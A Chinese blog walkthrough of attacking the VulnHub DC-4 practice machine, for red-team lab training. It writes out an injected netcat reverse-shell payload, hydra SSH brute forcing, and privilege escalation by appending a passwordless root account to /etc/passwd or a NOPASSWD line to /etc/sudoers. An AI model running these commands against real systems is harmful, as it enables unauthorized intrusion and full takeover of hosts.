VulnHub系列 DC-4靶机 渗透详细过程 | 红队打靶

2024-04-18 04:20

本文主要是介绍VulnHub系列 DC-4靶机 渗透详细过程 | 红队打靶,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub系列 DC-4靶机详细渗透测试过程

目录

  • VulnHub系列 DC-4靶机详细渗透测试过程
    • 一、将靶机导入到虚拟机当中
    • 二、渗透流程
      • 主机发现
      • 端口扫描
      • Web渗透
        • 暴力破解
        • 命令执行
        • 反弹shell
        • SSH暴力破解
        • 提权

一、将靶机导入到虚拟机当中

靶机地址:

https://download.vulnhub.com/dc/DC-4.zip

image-20240416231351749

二、渗透流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

image-20240416232834564

端口扫描

nmap -p- 192.168.43.27

image-20240416233010321

开放了22端口和80端口,可以再扫一下服务

nmap -p80,22 -sV -A 192.168.43.27

image-20240416233100055

识别一下web服务,看有什么信息

whatweb http://192.168.43.27

image-20240416233151791

并没有什么有价值的东西可利用,接下来访问Web界面

Web渗透

暴力破解

来到web界面,发现为登录界面,根据页面提示为管理员登录,但是通过简单信息收集并没有什么有效的信息,那么直接进行弱口令暴力破解

image-20240416234142112

image-20240416234241987

输入用户名admin,密码随意,抓取登录数据包,进行暴力破解

image-20240416234626837

发送请求,等待即可,根据响应大小判断得到结果,密码为happy

image-20240416234912020

命令执行

回到后台,等登录即可,进入后台,发现有命令工具,进入查看,点击run,发现执行了ls -l命令得回显内容,抓包看一下

image-20240416235311864

image-20240416235358848

image-20240416235846066

尝试将命令换成其他命令,如whoami,观察是否回显,直接可反弹shell

成功回显,接下来进行反弹shell操作,通过nc反弹

反弹shell

image-20240416235928239

radio=nc+-e+/bin/bash+192.168.43.105+8888&submit=%E8%B7%91

image-20240417000050642

kail端开启nc监听,成功接收到shell

image-20240417000141433

获取一个稳定shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240417000227434

观察当前目录下没有什么可用可看的文件,回答家目录查看一下,有无可用的信息

SSH暴力破解

到/home目录下发现有三个用户的家目录,那么我们依次进入,发现只有jim的家目录不为空,其他两个家目录都为空

image-20240417000322478

/home/jim目录下有三个文件,分别查看一下

image-20240417000517014

image-20240417000933407

通过test.sh脚本的提示信息,再加上查看发现的backups目录当中有密码信息,通过我们得到的三个用户名信息,再加上这个密码信息,可以尝试ssh爆破登录,观察是否可成功爆破出ssh用户的登录密码

先将获取的用户名和密码分别保存到文本文件当中,接下来进行爆破

hydra -L user.txt -P passwd.txt ssh://192.168.43.27

image-20240417000706852

通过ssh爆破,成功爆破出jim的ssh登录密码,接下来我们以用户名jim远程登录到靶机当中,进行下一步的操作

image-20240417001448887

远程登录

image-20240417001509925

查找一下目录,看有无重要信息

通过仔细观察我们发现有一个邮件,我们查看一下

image-20240417003158735

image-20240417001659032

去往此目录,查看jim文件得内容信息,发现charles发来的邮件,并有连接密码

image-20240417001727165

得到charles的ssh远程登录密码,进行远程登录操作

image-20240417001832760

然后我们再次通过charles用户进行远程登录,成功登录,发现也有邮件,查看一下,并无有用的信息

image-20240417002103968

image-20240417002140887

提权

接下来进行提权,提权三步走

//查找suid权限的有无可利用
find / -perm -u=s -type f 2>/dev/null

image-20240417002430209

image-20240417003305131

su和sudo可利用一下,但是均没成功

image-20240417002526943

image-20240417003326097

//列出目前用户可执行与无法执行的指令;
sudo -l 查看

image-20240417003432747

发现在charles当中的sudo -l命令当中存在以root权限执行的命令

image-20240417003418001

查看此命令帮助,如何使用

teehee --help

image-20240417003837462

翻译:我们使用-a参数

image-20240417003927416

那么接下来我们可以直接向/etc/passwd 文件当中写入,查看一下/etc/passwd文件信息

image-20240417004034359

//空密码,直接追加到/etc/passwd
echo "admin::0:0:admin:/root:/bin/bash" | sudo teehee -a /etc/passwd或 修改charles权限,给予"为所欲为"权限
echo "charles ALL=(ALL:ALL)NOPASSWD:ALL" | sudo teehee -a /etc/sudoers"

image-20240417004126373

image-20240417004138878

直接切换admin用户,发现charles无法切换,换jim用户切换成功,成功提权

su - admin

image-20240417004259456

jim用户切换成功:

成功提权,通关

image-20240417004242266

文章不妥之处,欢迎批评指正!

这篇关于VulnHub系列 DC-4靶机 渗透详细过程 | 红队打靶的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/913747

相关文章

SpringBoot 整合 Grizzly的过程

《SpringBoot整合Grizzly的过程》Grizzly是一个高性能的、异步的、非阻塞的HTTP服务器框架,它可以与SpringBoot一起提供比传统的Tomcat或Jet... 目录为什么选择 Grizzly?Spring Boot + Grizzly 整合的优势添加依赖自定义 Grizzly 作为

Java操作PDF文件实现签订电子合同详细教程

《Java操作PDF文件实现签订电子合同详细教程》:本文主要介绍如何在PDF中加入电子签章与电子签名的过程,包括编写Word文件、生成PDF、为PDF格式做表单、为表单赋值、生成文档以及上传到OB... 目录前言:先看效果:1.编写word文件1.2然后生成PDF格式进行保存1.3我这里是将文件保存到本地后

windows系统下shutdown重启关机命令超详细教程

《windows系统下shutdown重启关机命令超详细教程》shutdown命令是一个强大的工具,允许你通过命令行快速完成关机、重启或注销操作,本文将为你详细解析shutdown命令的使用方法,并提... 目录一、shutdown 命令简介二、shutdown 命令的基本用法三、远程关机与重启四、实际应用

mysql-8.0.30压缩包版安装和配置MySQL环境过程

《mysql-8.0.30压缩包版安装和配置MySQL环境过程》该文章介绍了如何在Windows系统中下载、安装和配置MySQL数据库,包括下载地址、解压文件、创建和配置my.ini文件、设置环境变量... 目录压缩包安装配置下载配置环境变量下载和初始化总结压缩包安装配置下载下载地址:https://d

使用SpringBoot创建一个RESTful API的详细步骤

《使用SpringBoot创建一个RESTfulAPI的详细步骤》使用Java的SpringBoot创建RESTfulAPI可以满足多种开发场景,它提供了快速开发、易于配置、可扩展、可维护的优点,尤... 目录一、创建 Spring Boot 项目二、创建控制器类(Controller Class)三、运行

springboot整合gateway的详细过程

《springboot整合gateway的详细过程》本文介绍了如何配置和使用SpringCloudGateway构建一个API网关,通过实例代码介绍了springboot整合gateway的过程,需要... 目录1. 添加依赖2. 配置网关路由3. 启用Eureka客户端(可选)4. 创建主应用类5. 自定

最新版IDEA配置 Tomcat的详细过程

《最新版IDEA配置Tomcat的详细过程》本文介绍如何在IDEA中配置Tomcat服务器,并创建Web项目,首先检查Tomcat是否安装完成,然后在IDEA中创建Web项目并添加Web结构,接着,... 目录配置tomcat第一步,先给项目添加Web结构查看端口号配置tomcat    先检查自己的to

使用Nginx来共享文件的详细教程

《使用Nginx来共享文件的详细教程》有时我们想共享电脑上的某些文件,一个比较方便的做法是,开一个HTTP服务,指向文件所在的目录,这次我们用nginx来实现这个需求,本文将通过代码示例一步步教你使用... 在本教程中,我们将向您展示如何使用开源 Web 服务器 Nginx 设置文件共享服务器步骤 0 —

SpringBoot集成SOL链的详细过程

《SpringBoot集成SOL链的详细过程》Solanaj是一个用于与Solana区块链交互的Java库,它为Java开发者提供了一套功能丰富的API,使得在Java环境中可以轻松构建与Solana... 目录一、什么是solanaj?二、Pom依赖三、主要类3.1 RpcClient3.2 Public

Android数据库Room的实际使用过程总结

《Android数据库Room的实际使用过程总结》这篇文章主要给大家介绍了关于Android数据库Room的实际使用过程,详细介绍了如何创建实体类、数据访问对象(DAO)和数据库抽象类,需要的朋友可以... 目录前言一、Room的基本使用1.项目配置2.创建实体类(Entity)3.创建数据访问对象(DAO